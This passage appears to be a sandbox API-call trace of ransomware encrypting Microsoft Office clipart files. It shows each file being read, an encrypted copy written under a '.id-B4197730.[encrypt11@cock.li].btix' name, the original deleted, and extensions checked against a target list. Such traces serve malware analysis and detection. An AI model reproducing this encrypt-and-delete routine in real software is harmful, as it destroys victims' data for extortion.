office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0130.577] GetLastError () returned 0x0 [0130.577] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xe4e, lpOverlapped=0x0) returned 1 [0130.758] WriteFile (in: hFile=0x4a8, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xe50, lpOverlapped=0x0) returned 1 [0130.759] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.759] WriteFile (in: hFile=0x4a8, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.759] SetEndOfFile (hFile=0x4a8) returned 1 [0130.759] CloseHandle (hObject=0x4a8) returned 1 [0130.760] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.760] SetEndOfFile (hFile=0x4a4) returned 1 [0130.762] CloseHandle (hObject=0x4a4) returned 1 [0130.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0131.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0131.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.162] lstrlenW (lpString=".doc") returned 4 [0131.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.162] lstrlenW (lpString=".docx") returned 5 [0131.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.162] lstrlenW (lpString=".pdf") returned 4 [0131.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.162] lstrlenW (lpString=".xls") returned 4 [0131.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.162] lstrlenW (lpString=".xlsx") returned 5 [0131.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.162] lstrlenW (lpString=".ppt") returned 4 [0131.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.162] lstrlenW (lpString=".zip") returned 4 [0131.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.162] lstrlenW (lpString=".rar") returned 4 [0131.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.162] lstrlenW (lpString=".bz2") returned 4 [0131.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.162] lstrlenW (lpString=".7z") returned 3 [0131.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.162] lstrlenW (lpString=".dbf") returned 4 [0131.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.162] lstrlenW (lpString=".1cd") returned 4 [0131.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.163] lstrlenW (lpString=".jpg") returned 4 [0131.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.163] lstrlenW (lpString=".doc") returned 4 [0131.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.163] lstrlenW (lpString=".docx") returned 5 [0131.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.163] lstrlenW (lpString=".pdf") returned 4 [0131.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.163] lstrlenW (lpString=".xls") returned 4 [0131.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.163] lstrlenW (lpString=".xlsx") returned 5 [0131.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.163] lstrlenW (lpString=".ppt") returned 4 [0131.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.163] lstrlenW (lpString=".zip") returned 4 [0131.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.163] lstrlenW (lpString=".rar") returned 4 [0131.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.163] lstrlenW (lpString=".bz2") returned 4 [0131.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.163] lstrlenW (lpString=".7z") returned 3 [0131.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.163] lstrlenW (lpString=".dbf") returned 4 [0131.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.163] lstrlenW (lpString=".1cd") returned 4 [0131.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0131.163] lstrlenW (lpString=".jpg") returned 4 [0131.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.164] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0131.164] lstrlenW (lpString="HH00602_.WMF") returned 12 [0131.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0131.164] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1400) returned 1 [0131.164] CloseHandle (hObject=0x4cc) returned 1 [0131.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0131.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0131.165] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.165] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0131.166] GetLastError () returned 0x0 [0131.166] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x578, lpOverlapped=0x0) returned 1 [0131.487] WriteFile (in: hFile=0x4d0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x580, lpOverlapped=0x0) returned 1 [0131.488] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.488] WriteFile (in: hFile=0x4d0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0131.489] SetEndOfFile (hFile=0x4d0) returned 1 [0131.489] CloseHandle (hObject=0x4d0) returned 1 [0131.489] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.489] SetEndOfFile (hFile=0x4cc) returned 1 [0131.491] CloseHandle (hObject=0x4cc) returned 1 [0131.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0131.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0131.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.492] lstrlenW (lpString=".doc") returned 4 [0131.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.492] lstrlenW (lpString=".docx") returned 5 [0131.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.492] lstrlenW (lpString=".pdf") returned 4 [0131.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.492] lstrlenW (lpString=".xls") returned 4 [0131.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.492] lstrlenW (lpString=".xlsx") returned 5 [0131.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.493] lstrlenW (lpString=".ppt") returned 4 [0131.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.493] lstrlenW (lpString=".zip") returned 4 [0131.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.493] lstrlenW (lpString=".rar") returned 4 [0131.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.493] lstrlenW (lpString=".bz2") returned 4 [0131.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.493] lstrlenW (lpString=".7z") returned 3 [0131.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.493] lstrlenW (lpString=".dbf") returned 4 [0131.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.493] lstrlenW (lpString=".1cd") returned 4 [0131.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.493] lstrlenW (lpString=".jpg") returned 4 [0131.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.493] lstrlenW (lpString=".doc") returned 4 [0131.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.493] lstrlenW (lpString=".docx") returned 5 [0131.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.493] lstrlenW (lpString=".pdf") returned 4 [0131.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.493] lstrlenW (lpString=".xls") returned 4 [0131.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.493] lstrlenW (lpString=".xlsx") returned 5 [0131.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.493] lstrlenW (lpString=".ppt") returned 4 [0131.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.494] lstrlenW (lpString=".zip") returned 4 [0131.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.494] lstrlenW (lpString=".rar") returned 4 [0131.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.494] lstrlenW (lpString=".bz2") returned 4 [0131.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.494] lstrlenW (lpString=".7z") returned 3 [0131.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.494] lstrlenW (lpString=".dbf") returned 4 [0131.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.494] lstrlenW (lpString=".1cd") returned 4 [0131.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0131.494] lstrlenW (lpString=".jpg") returned 4 [0131.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.494] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0131.494] lstrlenW (lpString="HH00625_.WMF") returned 12 [0131.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0131.495] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=2116) returned 1 [0131.495] CloseHandle (hObject=0x4cc) returned 1 [0131.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0131.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0131.498] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.498] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0131.498] GetLastError () returned 0x0 [0131.498] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x844, lpOverlapped=0x0) returned 1 [0131.626] WriteFile (in: hFile=0x4d0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x850, lpOverlapped=0x0) returned 1 [0131.627] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.627] WriteFile (in: hFile=0x4d0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0131.627] SetEndOfFile (hFile=0x4d0) returned 1 [0131.628] CloseHandle (hObject=0x4d0) returned 1 [0131.628] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.628] SetEndOfFile (hFile=0x4cc) returned 1 [0131.630] CloseHandle (hObject=0x4cc) returned 1 [0131.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0131.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0131.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.631] lstrlenW (lpString=".doc") returned 4 [0131.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.631] lstrlenW (lpString=".docx") returned 5 [0131.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.631] lstrlenW (lpString=".pdf") returned 4 [0131.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.631] lstrlenW (lpString=".xls") returned 4 [0131.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.631] lstrlenW (lpString=".xlsx") returned 5 [0131.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.631] lstrlenW (lpString=".ppt") returned 4 [0131.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.631] lstrlenW (lpString=".zip") returned 4 [0131.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.631] lstrlenW (lpString=".rar") returned 4 [0131.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.631] lstrlenW (lpString=".bz2") returned 4 [0131.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.631] lstrlenW (lpString=".7z") returned 3 [0131.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.631] lstrlenW (lpString=".dbf") returned 4 [0131.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.631] lstrlenW (lpString=".1cd") returned 4 [0131.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.631] lstrlenW (lpString=".jpg") returned 4 [0131.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.632] lstrlenW (lpString=".doc") returned 4 [0131.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.632] lstrlenW (lpString=".docx") returned 5 [0131.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.632] lstrlenW (lpString=".pdf") returned 4 [0131.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.632] lstrlenW (lpString=".xls") returned 4 [0131.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.632] lstrlenW (lpString=".xlsx") returned 5 [0131.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.632] lstrlenW (lpString=".ppt") returned 4 [0131.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.632] lstrlenW (lpString=".zip") returned 4 [0131.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.632] lstrlenW (lpString=".rar") returned 4 [0131.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.632] lstrlenW (lpString=".bz2") returned 4 [0131.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.632] lstrlenW (lpString=".7z") returned 3 [0131.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.632] lstrlenW (lpString=".dbf") returned 4 [0131.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.632] lstrlenW (lpString=".1cd") returned 4 [0131.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0131.632] lstrlenW (lpString=".jpg") returned 4 [0131.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.633] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0131.633] lstrlenW (lpString="HH00681_.WMF") returned 12 [0131.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0131.633] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=9300) returned 1 [0131.633] CloseHandle (hObject=0x4cc) returned 1 [0131.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0131.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0131.634] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.634] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0131.634] GetLastError () returned 0x0 [0131.634] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f8d020, 